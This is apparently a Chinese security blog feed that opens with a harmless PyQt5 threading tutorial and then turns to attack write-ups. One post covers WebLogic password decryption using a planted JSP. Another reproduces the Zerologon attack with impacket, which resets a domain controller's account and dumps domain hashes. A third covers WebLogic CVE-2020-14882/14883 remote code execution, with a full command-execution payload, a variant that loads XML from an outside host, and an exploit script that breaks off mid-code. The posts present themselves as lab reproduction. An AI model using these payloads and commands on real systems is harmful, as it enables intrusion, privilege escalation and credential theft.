<h1>pycharm配置pyqt开发环境</h1>
<p>首先安装pyqt5和pyqt5-tools</p>
<div class="highlight"><pre><span></span><code><span class="n">python3</span><span class="w"> </span><span class="o">-</span><span class="n">m</span><span class="w"> </span><span class="n">pip</span><span class="w"> </span><span class="n">install</span><span class="w"> </span><span class="n">PyQt5</span>
<span class="n">python3</span><span class="w"> </span><span class="o">-</span><span class="n">m</span><span class="w"> </span><span class="n">pip</span><span class="w"> </span><span class="n">install</span><span class="w"> </span><span class="n">PyQt5</span><span class="o">-</span><span class="n">tools</span>
</code></pre></div>
<p>在pycharm的设置中找到<code>External Tools</code>,点击加号进行如下配置:</p>
<p><img alt="1606388335174" src="PyQt多线程,信号机制.assets/1606388335174.png"></p>
<p>这里<code>Program</code>就是designer.exe的绝对路径,直接用everything搜索designer.exe即可获取其绝对路径</p>
<p><img alt="1606388207758" src="PyQt多线程,信号机制.assets/1606388207758.png"></p>
<p>配置pyuic用于将ui文件编译成py文件:</p>
<p><img alt="1606388503631" src="PyQt多线程,信号机制.assets/1606388503631.png"></p>
<p>使用方法如下:</p>
<p><img alt="asdasdasda" src="PyQt多线程,信号机制.assets/asdasdasda-1606389499767.gif"></p>
<h1>代码示例</h1>
<div class="highlight"><pre><span></span><code><span class="kn">import</span> <span class="nn">multiprocessing</span>
<span class="kn">from</span> <span class="nn">shutil</span> <span class="kn">import</span> <span class="n">copyfile</span>
<span class="kn">from</span> <span class="nn">PyQt5</span> <span class="kn">import</span> <span class="n">QtCore</span><span class="p">,</span> <span class="n">QtGui</span><span class="p">,</span> <span class="n">QtWidgets</span>
<span class="kn">from</span> <span class="nn">PyQt5.QtCore</span> <span class="kn">import</span> <span class="n">QStringListModel</span><span class="p">,</span> <span class="n">QThread</span><span class="p">,</span> <span class="n">pyqtSignal</span><span class="p">,</span> <span class="n">QBasicTimer</span>
<span class="kn">from</span> <span class="nn">PyQt5.QtWidgets</span> <span class="kn">import</span> <span class="n">QFileDialog</span><span class="p">,</span> <span class="n">QMessageBox</span>
<span class="kn">from</span> <span class="nn">main</span> <span class="kn">import</span> <span class="n">Ui_MainWindow</span>
<span class="kn">import</span> <span class="nn">subprocess</span>
<span class="kn">import</span> <span class="nn">re</span>
<span class="kn">import</span> <span class="nn">multiprocessing</span>
<span class="kn">import</span> <span class="nn">sys</span>
<span class="kn">import</span> <span class="nn">os</span>
<span class="kn">import</span> <span class="nn">random</span>
<span class="kn">import</span> <span class="nn">time</span>
<span class="n">step</span> <span class="o">=</span> <span class="mi">0</span>
<span class="k">class</span> <span class="nc">DemoThread</span><span class="p">(</span><span class="n">QThread</span><span class="p">):</span>
<span class="n">timer</span> <span class="o">=</span> <span class="n">pyqtSignal</span><span class="p">()</span>
<span class="k">def</span> <span class="nf">run</span><span class="p">(</span><span class="bp">self</span><span class="p">)</span> <span class="o">-></span> <span class="kc">None</span><span class="p">:</span>
<span class="k">while</span> <span class="kc">True</span><span class="p">:</span>
<span class="bp">self</span><span class="o">.</span><span class="n">demo</span><span class="p">()</span>
<span class="k">global</span> <span class="n">step</span>
<span class="k">if</span> <span class="n">step</span> <span class="o">>=</span> <span class="mi">5</span><span class="p">:</span>
<span class="k">break</span>
<span class="bp">self</span><span class="o">.</span><span class="n">timer</span><span class="o">.</span><span class="n">emit</span><span class="p">()</span>
<span class="k">def</span> <span class="nf">demo</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
<span class="bp">self</span><span class="o">.</span><span class="n">sleep</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>
<span class="c1">#something to do</span>
<span class="k">global</span> <span class="n">step</span>
<span class="n">step</span> <span class="o">+=</span> <span class="mi">1</span>
<span class="k">class</span> <span class="nc">ProcessBarWorkThread</span><span class="p">(</span><span class="n">QThread</span><span class="p">):</span>
<span class="n">timer</span> <span class="o">=</span> <span class="n">pyqtSignal</span><span class="p">()</span>
<span class="k">def</span> <span class="nf">run</span><span class="p">(</span><span class="bp">self</span><span class="p">)</span> <span class="o">-></span> <span class="kc">None</span><span class="p">:</span>
<span class="k">while</span> <span class="kc">True</span><span class="p">:</span>
<span class="c1">#每一秒钟发送一次绘制信号</span>
<span class="bp">self</span><span class="o">.</span><span class="n">sleep</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>
<span class="bp">self</span><span class="o">.</span><span class="n">timer</span><span class="o">.</span><span class="n">emit</span><span class="p">()</span>
<span class="k">class</span> <span class="nc">MainWindow</span><span class="p">(</span><span class="n">QtWidgets</span><span class="o">.</span><span class="n">QMainWindow</span><span class="p">):</span>
<span class="k">def</span> <span class="fm">__init__</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">parent</span><span class="o">=</span><span class="kc">None</span><span class="p">):</span>
<span class="nb">super</span><span class="p">(</span><span class="n">MainWindow</span><span class="p">,</span> <span class="bp">self</span><span class="p">)</span><span class="o">.</span><span class="fm">__init__</span><span class="p">(</span><span class="n">parent</span><span class="o">=</span><span class="n">parent</span><span class="p">)</span>
<span class="bp">self</span><span class="o">.</span><span class="n">ui</span> <span class="o">=</span> <span class="n">Ui_MainWindow</span><span class="p">()</span>
<span class="bp">self</span><span class="o">.</span><span class="n">setupMyUi</span><span class="p">(</span><span class="bp">self</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">setupMyUi</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">MainWindow</span><span class="p">):</span>
<span class="bp">self</span><span class="o">.</span><span class="n">ui</span><span class="o">.</span><span class="n">setupUi</span><span class="p">(</span><span class="n">MainWindow</span><span class="p">)</span>
<span class="c1"># 初始化进度条</span>
<span class="k">global</span> <span class="n">step</span>
<span class="n">step</span> <span class="o">=</span> <span class="mi">0</span>
<span class="bp">self</span><span class="o">.</span><span class="n">ui</span><span class="o">.</span><span class="n">progressBar</span><span class="o">.</span><span class="n">setValue</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span>
<span class="bp">self</span><span class="o">.</span><span class="n">ui</span><span class="o">.</span><span class="n">pushButton</span><span class="o">.</span><span class="n">clicked</span><span class="o">.</span><span class="n">connect</span><span class="p">(</span><span class="bp">self</span><span class="o">.</span><span class="n">on_pushButton_click</span><span class="p">)</span>
<span class="c1">################################################CMS扫描模块事件Begin########################################################</span>
<span class="c1">#点击确定开始绘制进度条</span>
<span class="k">def</span> <span class="nf">on_pushButton_click</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
<span class="bp">self</span><span class="o">.</span><span class="n">demoThread</span> <span class="o">=</span> <span class="n">DemoThread</span><span class="p">()</span>
<span class="c1">#设置接收到信号时触发的方法</span>
<span class="bp">self</span><span class="o">.</span><span class="n">demoThread</span><span class="o">.</span><span class="n">timer</span><span class="o">.</span><span class="n">connect</span><span class="p">(</span><span class="bp">self</span><span class="o">.</span><span class="n">on_demo_finished</span><span class="p">)</span>
<span class="bp">self</span><span class="o">.</span><span class="n">demoThread</span><span class="o">.</span><span class="n">start</span><span class="p">()</span>
<span class="c1">#初始化进度条</span>
<span class="k">global</span> <span class="n">step</span>
<span class="n">step</span> <span class="o">=</span> <span class="mi">0</span>
<span class="bp">self</span><span class="o">.</span><span class="n">ui</span><span class="o">.</span><span class="n">progressBar</span><span class="o">.</span><span class="n">setValue</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span>
<span class="bp">self</span><span class="o">.</span><span class="n">processBarWorkThread</span> <span class="o">=</span> <span class="n">ProcessBarWorkThread</span><span class="p">()</span>
<span class="c1">#这里使用lambda匿名方法接受进度条控件参数</span>
<span class="bp">self</span><span class="o">.</span><span class="n">processBarWorkThread</span><span class="o">.</span><span class="n">timer</span><span class="o">.</span><span class="n">connect</span><span class="p">(</span><span class="k">lambda</span><span class="p">:</span> <span class="bp">self</span><span class="o">.</span><span class="n">processBar</span><span class="p">(</span><span class="bp">self</span><span class="o">.</span><span class="n">ui</span><span class="o">.</span><span class="n">progressBar</span><span class="p">))</span>
<span class="bp">self</span><span class="o">.</span><span class="n">processBarWorkThread</span><span class="o">.</span><span class="n">start</span><span class="p">()</span>
<span class="c1">#扫描完成,关闭线程</span>
<span class="k">def</span> <span class="nf">on_demo_finished</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
<span class="bp">self</span><span class="o">.</span><span class="n">demoThread</span><span class="o">.</span><span class="n">terminate</span><span class="p">()</span>
<span class="c1">#绘制进度条</span>
<span class="k">def</span> <span class="nf">processBar</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span><span class="n">processBar</span><span class="p">):</span>
<span class="k">global</span> <span class="n">step</span>
<span class="n">processBar</span><span class="o">.</span><span class="n">setValue</span><span class="p">(</span><span class="n">step</span><span class="o">/</span><span class="mi">5</span><span class="o">*</span><span class="mi">100</span><span class="p">)</span>
<span class="k">if</span> <span class="n">step</span> <span class="o">>=</span> <span class="mi">5</span><span class="p">:</span>
<span class="bp">self</span><span class="o">.</span><span class="n">processBarWorkThread</span><span class="o">.</span><span class="n">terminate</span><span class="p">()</span>
<span class="n">QMessageBox</span><span class="o">.</span><span class="n">information</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="s2">"info"</span><span class="p">,</span> <span class="s2">"演示结束!"</span><span class="p">)</span>
<span class="k">if</span> <span class="vm">__name__</span> <span class="o">==</span> <span class="s2">"__main__"</span><span class="p">:</span>
<span class="n">app</span> <span class="o">=</span> <span class="n">QtWidgets</span><span class="o">.</span><span class="n">QApplication</span><span class="p">(</span><span class="n">sys</span><span class="o">.</span><span class="n">argv</span><span class="p">)</span>
<span class="n">w</span> <span class="o">=</span> <span class="n">MainWindow</span><span class="p">()</span>
<span class="n">w</span><span class="o">.</span><span class="n">show</span><span class="p">()</span>
<span class="n">sys</span><span class="o">.</span><span class="n">exit</span><span class="p">(</span><span class="n">app</span><span class="o">.</span><span class="n">exec_</span><span class="p">())</span>
</code></pre></div>
<p>效果图:</p>
<p><img alt="asdasdasda" src="PyQt多线程,信号机制.assets/asdasdasda.gif"></p>
<p>可以看到代码中写了两个线程类:<code>DemoThread</code>和<code>ProcessBarWorkThread</code>,它们两个都继承自<code>QThread</code></p>
<p>在<code>ProcessBarWorkThread</code>类中,首先使用<code>pyqtSignal</code>初始化一个定时器,然后我们通过sleep方法控制信号发送间隔,本示例程序中是一秒发送一次信号,通过connect方法绑定每次接收到信号时出发的动作</p>
<div class="highlight"><pre><span></span><code><span class="nv">self</span>.<span class="nv">processBarWorkThread</span>.<span class="nv">timer</span>.<span class="k">connect</span><span class="ss">(</span><span class="nv">lambda</span>:<span class="w"> </span><span class="nv">self</span>.<span class="nv">processBar</span><span class="ss">(</span><span class="nv">self</span>.<span class="nv">ui</span>.<span class="nv">progressBar</span><span class="ss">))</span>
</code></pre></div>
<p><code>processBar</code>方法接受一个<code>QProgressBar</code>类型的对象作为参数来确定要对哪一个进度条控件进行绘制</p>
<p>而另一个线程类:<code>DemoThread</code>是我们的程序中的业务代码,也就是真正干活的线程,我们每完成一定的任务就改变一下全局变量<code>step</code>的值,然后当下一次<code>ProcessBarWorkThread</code>发送信号通知<code>processBar</code>方法进行进度条的绘制时,进度条就会发生变化</p>
<p>这两个线程通信的方式就是使用全局变量<code>step</code></p>weblogic后台密码解密2020-11-26T00:00:00+01:002020-11-26T00:00:00+01:0012138tag:None,2020-11-26:weblogichou-tai-mi-ma-jie-mi.html<h1>前言</h1>
<p>前段时间复现weblogic的漏洞,从<a href="https://github.com/vulhub/vulhub">vulnhub</a>上下载的漏洞环境,但是并没给出来weblogic的console登陆凭证,于是就想着解一下密码,顺便练个手</p>
<p>参考链接:</p>
<ul>
<li><a href="https://github.com/TideSec/Decrypt_Weblogic_Password">https://github.com/TideSec …</a></li></ul><h1>前言</h1>
<p>前段时间复现weblogic的漏洞,从<a href="https://github.com/vulhub/vulhub">vulnhub</a>上下载的漏洞环境,但是并没给出来weblogic的console登陆凭证,于是就想着解一下密码,顺便练个手</p>
<p>参考链接:</p>
<ul>
<li><a href="https://github.com/TideSec/Decrypt_Weblogic_Password">https://github.com/TideSec/Decrypt_Weblogic_Password</a></li>
</ul>
<h1>直接在目标服务器上解密</h1>
<div class="highlight"><pre><span></span><code><span class="cp"><%</span><span class="vi">@page</span><span class="w"> </span><span class="n">pageEncoding</span><span class="o">=</span><span class="s2">"utf-8"</span><span class="cp">%></span>
<span class="cp"><%</span><span class="vi">@page</span><span class="w"> </span><span class="n">import</span><span class="o">=</span><span class="s2">"weblogic.security.internal.*,weblogic.security.internal.encryption.*"</span><span class="cp">%></span>
<span class="cp"><%</span>
<span class="w"> </span><span class="no">EncryptionService</span><span class="w"> </span><span class="n">es</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">null</span><span class="p">;</span>
<span class="w"> </span><span class="no">ClearOrEncryptedService</span><span class="w"> </span><span class="n">ces</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">null</span><span class="p">;</span>
<span class="w"> </span><span class="nb">String</span><span class="w"> </span><span class="n">s</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">null</span><span class="p">;</span>
<span class="w"> </span><span class="n">s</span><span class="o">=</span><span class="w"> </span><span class="n">request</span><span class="o">.</span><span class="n">getParameter</span><span class="p">(</span><span class="s2">"pwd"</span><span class="p">);</span>
<span class="w"> </span><span class="n">es</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="no">SerializedSystemIni</span><span class="o">.</span><span class="n">getEncryptionService</span><span class="p">();</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="n">es</span><span class="w"> </span><span class="o">==</span><span class="w"> </span><span class="n">null</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">out</span><span class="o">.</span><span class="n">println</span><span class="p">(</span><span class="s2">"Unable to initialize encryption service"</span><span class="p">);</span>
<span class="w"> </span><span class="k">return</span><span class="p">;</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="n">ces</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="kp">new</span><span class="w"> </span><span class="no">ClearOrEncryptedService</span><span class="p">(</span><span class="n">es</span><span class="p">);</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="n">s</span><span class="w"> </span><span class="o">!=</span><span class="w"> </span><span class="n">null</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">out</span><span class="o">.</span><span class="n">println</span><span class="p">(</span><span class="s2">"</span><span class="se">\n</span><span class="s2">Decrypted Password is:"</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="n">ces</span><span class="o">.</span><span class="n">decrypt</span><span class="p">(</span><span class="n">s</span><span class="p">));</span>
<span class="w"> </span><span class="p">}</span>
<span class="cp">%></span>
</code></pre></div>
<p>将上面的脚本保存成<code>getpwd.jsp</code></p>
<p>执行<code>find / -type f -name login.css</code></p>
<p>结果为<code>/u01/oracle/wlserver/server/lib/consoleapp/webapp/css/login.css</code></p>
<p>将<code>getpwd.jsp</code>放到<code>/u01/oracle/wlserver/server/lib/consoleapp/webapp/css</code>目录中</p>
<p>执行<code>find / -type f -name config.xml</code></p>
<p>结果为:<code>/u01/oracle/user_projects/domains/base_domain/config/config.xml</code>,打开该文件:
<img alt="20201126215207479" src="weblogic后台密码解密.assets/20201126215207479.png">
找到<code>node-manager-password-encrypted</code>节点,复制值</p>
<p>然后访问:<code>http://your-server-ip:7001/console/css/getpwd.jsp?pwd={AES}1KLAaXt2W+uL4Fv3jJsmWxvijbijh8jJwusvZEhlYJ4=</code></p>
<p><img alt="20201126215207479" src="weblogic后台密码解密.assets/20201126215207479-1606400238763.png"></p>
<h1>本地离线解密</h1>
<p>执行<code>find / -type f -name SerializedSystemIni.dat</code>,结果为:<code>/u01/oracle/user_projects/domains/base_domain/security/SerializedSystemIni.dat</code></p>
<p>将该文件下载下来保存到本地</p>
<p>然后下载<a href="https://gitee.com/wochinijiamile/suiyi/raw/master/Tools5-weblogic_decrypt.7z">解密工具</a></p>
<p>将上面获取的文件和<code>config.xml</code>中的密文填上去即可解密</p>
<p><img alt="20201126215207479" src="weblogic后台密码解密.assets/20201126215207479-1606400306875.png"></p>CVE-2020-1472(zero-logon)2020-11-22T00:00:00+01:002020-11-22T00:00:00+01:0012138tag:None,2020-11-22:cve-2020-1472zero-logon.html<h1>简介</h1>
<p>该漏洞利用netlogon的漏洞,重置目标机器的机器账户hash为空,如果针对域控制器执行该攻击,则可以导出所有域用户hash,进而提升为原 …</p><h1>简介</h1>
<p>该漏洞利用netlogon的漏洞,重置目标机器的机器账户hash为空,如果针对域控制器执行该攻击,则可以导出所有域用户hash,进而提升为原管理员权限</p>
<h1>复现过程</h1>
<h2>环境准备</h2>
<p>首先卸载之前安装的impacket,然后通过源码安装的方式安装最新版本的impacket:</p>
<div class="highlight"><pre><span></span><code>python3<span class="w"> </span>-m<span class="w"> </span>pip<span class="w"> </span>uninstall<span class="w"> </span>impacket
git<span class="w"> </span>clone<span class="w"> </span>https://github.com/SecureAuthCorp/impacket.git
<span class="nb">cd</span><span class="w"> </span>impacket
python3<span class="w"> </span>setup.py<span class="w"> </span>install
</code></pre></div>
<p>下载<a href="https://dirkjanm.io/">dirkjanm</a>的利用脚本:</p>
<div class="highlight"><pre><span></span><code>git<span class="w"> </span>clone<span class="w"> </span>cve-2020-1472-exploit.py
</code></pre></div>
<p>这里我们的域控制器的NetBios Name为DC-01,IP为192.168.60.208,可以通过nbtscan扫描出来:</p>
<p><img alt="1606030436172" src="CVE-2020-1472(zero-logon).assets/1606030436172.png"></p>
<h2>检测漏洞</h2>
<p>下载漏洞检测脚本:<a href="https://github.com/SecuraBV/CVE-2020-1472">CVE-2020-1472</a></p>
<p>检测目标机器是否存在漏洞:</p>
<div class="highlight"><pre><span></span><code>python3<span class="w"> </span>-m<span class="w"> </span>pip<span class="w"> </span>install<span class="w"> </span>-r<span class="w"> </span>requirements
python3<span class="w"> </span>zerologon_tester.py<span class="w"> </span>DC-01<span class="w"> </span><span class="m">192</span>.168.60.208
</code></pre></div>
<h2>重置机器账户hash</h2>
<div class="highlight"><pre><span></span><code><span class="nb">cd</span><span class="w"> </span>CVE-2020-1472
python3<span class="w"> </span>cve-2020-1472-exploit.py<span class="w"> </span>DC-01<span class="w"> </span><span class="m">192</span>.168.60.208
</code></pre></div>
<p><img alt="1606030580379" src="CVE-2020-1472(zero-logon).assets/1606030580379.png"></p>
<p>利用成功,域控制器的及其账户hash被重置为空,空密码的hash值为<code>31d6cfe0d16ae931b73c59d7e0c089c0</code></p>
<h2>恢复机器账户hash</h2>
<p>使用<code>secretsdump</code>导出域账户hash</p>
<div class="highlight"><pre><span></span><code>secretsdump.py<span class="w"> </span>-hashes<span class="w"> </span>:31d6cfe0d16ae931b73c59d7e0c089c0<span class="w"> </span><span class="s1">'thug.com/DC-01$@192.168.60.208'</span>
</code></pre></div>
<p><img alt="1606034015955" src="CVE-2020-1472(zero-logon).assets/1606034015955.png"></p>
<p>然后使用Administrator的账户导出域控制器的本地hash,里面包含域控制器原本的机器账户hash:</p>
<div class="highlight"><pre><span></span><code>secretsdump.py<span class="w"> </span>-hashes<span class="w"> </span>:4a4558a96ba8c11aef734a34421b8068<span class="w"> </span><span class="s1">'thug.com/Administrator@192.168.60.208'</span>
</code></pre></div>
<p><img alt="1606034114027" src="CVE-2020-1472(zero-logon).assets/1606034114027.png"></p>
<p>我们只要<code>plain_password_hex</code>的值即可,然后使用<code>restorepassword.py</code>脚本恢复机器hash:</p>
<div class="highlight"><pre><span></span><code>python3<span class="w"> </span>restorepassword.py<span class="w"> </span>thug.com/dc-01@dc-01<span class="w"> </span>-target-ip<span class="w"> </span><span class="m">192</span>.168.60.208<span class="w"> </span>-hexpass<span class="w"> </span>5cab5bad12d5cbc8c6697ec700b5972a2...
</code></pre></div>
<p><img alt="1606034189402" src="CVE-2020-1472(zero-logon).assets/1606034189402.png"></p>
<p>再次查看域控制器的机器账户hash:</p>
<div class="highlight"><pre><span></span><code>secretsdump.py<span class="w"> </span>-hashes<span class="w"> </span>:4a4558a96ba8c11aef734a34421b8068<span class="w"> </span><span class="s1">'thug.com/Administrator@192.168.60.208'</span><span class="w"> </span>-just-dc-user<span class="w"> </span>dc-01<span class="se">\$</span><span class="w"> </span>-just-dc-ntlm
</code></pre></div>
<p>已经恢复为原来的值</p>
<p><img alt="1606034266400" src="CVE-2020-1472(zero-logon).assets/1606034266400.png"></p>
<h1>局限性</h1>
<p>这么做不是没有弊端,因为在某些情况下,域管理员可能会禁用<code>administrator</code>账户或者限制该账户的行为,导致我们即使拿到域控制器的<code>administrator</code>账户,也无法导出域控制器存储在本地注册表中的hash(原始的机器账户hash)</p>
<p>但是我们可以通过先获取域中成员主机的权限,然后通过<code>net group "domain admins" /domain</code>获取到域内的管理员账户名,然后在使用空hash导域账户hash的时候指定这些域管理员,这样如果administrator如果存在限制,我们还可以尝试使用其他的域管理员账户来导出域控制器本地注册表中保存的hash</p>
<p><img alt="1606034545539" src="CVE-2020-1472(zero-logon).assets/1606034545539.png"></p>
<p><img alt="1606034805716" src="CVE-2020-1472(zero-logon).assets/1606034805716.png"></p>CVE-2020-14882~14883(Weblogic RCE)2020-11-22T00:00:00+01:002020-11-22T00:00:00+01:0012138tag:None,2020-11-22:cve-2020-1488214883weblogic-rce.html<h1>简介</h1>
<p>本次复现为两个漏洞,前者CVE-2020-14882为绕过weblogic控制台认证、后者CVE-2020-14883为经过身份认证的反序列化RCE,<strong>两者结合可导致未经身份认证的RCE</strong></p>
<p>参考:</p>
<ul>
<li><a href="https://github.com/vulhub/vulhub/blob/master/weblogic/CVE-2020-14882/README.zh-cn.md">https://github.com/vulhub/vulhub/blob/master/weblogic/CVE-2020-14882/README.zh-cn.md</a></li>
<li><a href="https://blog.csdn.net/weixin_41598660/article/details/109409965">https://blog.csdn.net …</a></li></ul><h1>简介</h1>
<p>本次复现为两个漏洞,前者CVE-2020-14882为绕过weblogic控制台认证、后者CVE-2020-14883为经过身份认证的反序列化RCE,<strong>两者结合可导致未经身份认证的RCE</strong></p>
<p>参考:</p>
<ul>
<li><a href="https://github.com/vulhub/vulhub/blob/master/weblogic/CVE-2020-14882/README.zh-cn.md">https://github.com/vulhub/vulhub/blob/master/weblogic/CVE-2020-14882/README.zh-cn.md</a></li>
<li><a href="https://blog.csdn.net/weixin_41598660/article/details/109409965">https://blog.csdn.net/weixin_41598660/article/details/109409965</a></li>
</ul>
<h1>复现过程</h1>
<h2>环境准备</h2>
<p>下载<a href="https://github.com/vulhub/vulhub/blob/master/weblogic/CVE-2020-14882/docker-compose.yml">docker-compose.yml</a>文件,然后执行<code>docker-compose up -d</code>即可搭建出漏洞环境</p>
<p>但是weblogic的漏洞环境镜像比较大,下载起来比较耗时,这里直接提供百度网盘的<a href="https://pan.baidu.com/s/1n4eiDcvBOK1g4Dk692LUqA">下载链接</a>,提取码<code>cdlr</code>,解压之后的文件weblogic.tar的SHA256校验和:<code>5A16598CB64FF0724459FD1E1EC975B4303BF8C495EF3BCA6DFB4D39A4E07654</code></p>
<p>验证文件无误后,执行<code>docker load < weblogic.tar</code>,然后<code>docker images</code>查看一下刚加载进来的weblogic镜像的<code>IMAGE ID</code>,将docker-compose.yml文件中的<code>vulhub/weblogic:12.2.1.3-2018</code>改成刚才获取到的<code>IMAGE ID</code>即可</p>
<p>设置好浏览器代理,使用burp进行抓包</p>
<h2>抓包获取cookie</h2>
<p>在浏览器中访问:<code>http://192.168.162.129:7001/console/css/%252e%252e%252fconsole.portal</code></p>
<p>查看burp的<code>HTTP history</code>,找到cookie中带有<code>ADMINCONSOLESESSION</code>的请求包,转到Repeater模块中</p>
<p><img alt="1606057683128" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/JAgOauBdsY.jpg"></p>
<p><img alt="1606057776735" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/kDImiDQpnv.jpg"></p>
<h2>构造回显payload</h2>
<p>构造出如下数据包:</p>
<ul>
<li>将GET请求改为<code>/console/css/%25%32%65%25%32%65%25%32%66consolejndi.portal?test_handle=com.tangosol.coherence.mvel2.sh.ShellSession('weblogic.work.ExecuteThread currentThread = (weblogic.work.ExecuteThread)Thread.currentThread(); weblogic.work.WorkAdapter adapter = currentThread.getCurrentWork(); java.lang.reflect.Field field = adapter.getClass().getDeclaredField("connectionHandler");field.setAccessible(true);Object obj = field.get(adapter);weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod("getServletRequest").invoke(obj); String cmd = req.getHeader("cmd");String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};if(cmd != null ){ String result = new java.util.Scanner(new java.lang.ProcessBuilder(cmds).start().getInputStream()).useDelimiter("\\A").next(); weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod("getResponse").invoke(req);res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));res.getServletOutputStream().flush();} currentThread.interrupt();')</code></li>
<li>在请求体中添加<code>cmd</code>头部,值就是你想要执行的命令:<code>cmd:whoami</code></li>
</ul>
<p>如下,执行的命令结果会显示在响应包的body中</p>
<p><img alt="1606057966860" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/QCQMjynhGS.jpg"></p>
<h2>老版本(12以下)的利用方式</h2>
<p>由于10.x的版本没有<code>com.tangosol.coherence.mvel2.sh.ShellSession</code>类,需要通过<code>com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext</code>类来加载外部xml执行命令</p>
<p>在我们的web服务器上放置一个xml文件,内容如下:</p>
<div class="highlight"><pre><span></span><code><span class="cp"><?xml version="1.0" encoding="UTF-8" ?></span>
<span class="nt"><beans</span><span class="w"> </span><span class="na">xmlns=</span><span class="s">"http://www.springframework.org/schema/beans"</span>
<span class="w"> </span><span class="na">xmlns:xsi=</span><span class="s">"http://www.w3.org/2001/XMLSchema-instance"</span>
<span class="w"> </span><span class="na">xsi:schemaLocation=</span><span class="s">"http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"</span><span class="nt">></span>
<span class="w"> </span><span class="nt"><bean</span><span class="w"> </span><span class="na">id=</span><span class="s">"pb"</span><span class="w"> </span><span class="na">class=</span><span class="s">"java.lang.ProcessBuilder"</span><span class="w"> </span><span class="na">init-method=</span><span class="s">"start"</span><span class="nt">></span>
<span class="w"> </span><span class="nt"><constructor-arg></span>
<span class="w"> </span><span class="nt"><list></span>
<span class="w"> </span><span class="nt"><value></span>bash<span class="nt"></value></span>
<span class="w"> </span><span class="nt"><value></span>-c<span class="nt"></value></span>
<span class="w"> </span><span class="nt"><value></span><span class="cp"><![CDATA[touch /tmp/success2]]></span><span class="nt"></value></span>
<span class="w"> </span><span class="nt"></list></span>
<span class="w"> </span><span class="nt"></constructor-arg></span>
<span class="w"> </span><span class="nt"></bean></span>
<span class="nt"></beans></span>
</code></pre></div>
<p>其中<code>touch /tmp/success2</code>是我们想要执行的命令</p>
<p>访问如下URL即可:</p>
<p><code>http://192.168.162.129:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://144.34.164.217/theme/css/1.xml")</code></p>
<p><img alt="1606058613655" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/wBYmWthDMX.jpg"></p>
<p>这种利用方式的弊端就是如果目标服务器不出网,也没啥用,因为无法加载外部的xml文件,除非你是在目标内网里面</p>
<h1>exp脚本编写</h1>
<h2>执行命令</h2>
<div class="highlight"><pre><span></span><code><span class="c1"># -*- coding: UTF-8 -*-</span>
<span class="kn">import</span> <span class="nn">sys</span>
<span class="kn">import</span> <span class="nn">re</span>
<span class="kn">import</span> <span class="nn">requests</span>
<span class="c1">#下面这三行代码是为了解决requests的一个bug,就是Connection broken: IncompleteRead</span>
<span class="c1">#其实真正的原因我到现在也不清楚,但是下面这三行代码确实可以解决问题</span>
<span class="c1">#参考https://my.oschina.net/u/1538135/blog/858467</span>
<span class="c1">#python3.x中的httplib变成了http.client需要修改一下</span>
<span class="kn">import</span> <span class="nn">http.client</span>
<span class="n">http</span><span class="o">.</span><span class="n">client</span><span class="o">.</span><span class="n">HTTPConnection</span><span class="o">.</span><span class="n">_http_vsn</span> <span class="o">=</span> <span class="mi">10</span>
<span class="n">http</span><span class="o">.</span><span class="n">client</span><span class="o">.</span><span class="n">HTTPConnection</span><span class="o">.</span><span class="n">_http_vsn_str</span> <span class="o">=</span> <span class="s1">'HTTP/1.0'</span>
<span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">sys</span><span class="o">.</span><span class="n">argv</span><span class="p">)</span> <span class="o"><</span><span class="mi">3</span><span class="p">:</span>
<span class="nb">print</span><span class="p">(</span><span class="s1">'usage: python3 exp.py http(s):target-ip:target-port command'</span><span class="p">)</span>
<span class="n">sys</span><span class="o">.</span><span class="n">exit</span><span class="p">()</span>
<span class="n">baseurl</span> <span class="o">=</span> <span class="n">sys</span><span class="o">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span>
<span class="c1">#去掉url最后面的/</span>
<span class="k">if</span> <span class="n">baseurl</span><span class="p">[</span><span class="o">-</span><span class="mi">1</span><span class="p">]</span><span class="o">==</span><span class="s1">'/'</span><span class="p">:</span>
<span class="n">baseurl</span> <span class="o">=</span> <span class="n">baseurl</span><span class="p">[</span><span class="mi">0</span><span class="p">:</span><span class="o">-</span><span class="mi">1</span><span class="p">]</span>
<span class="c1">#命令中包含空格的情况</span>
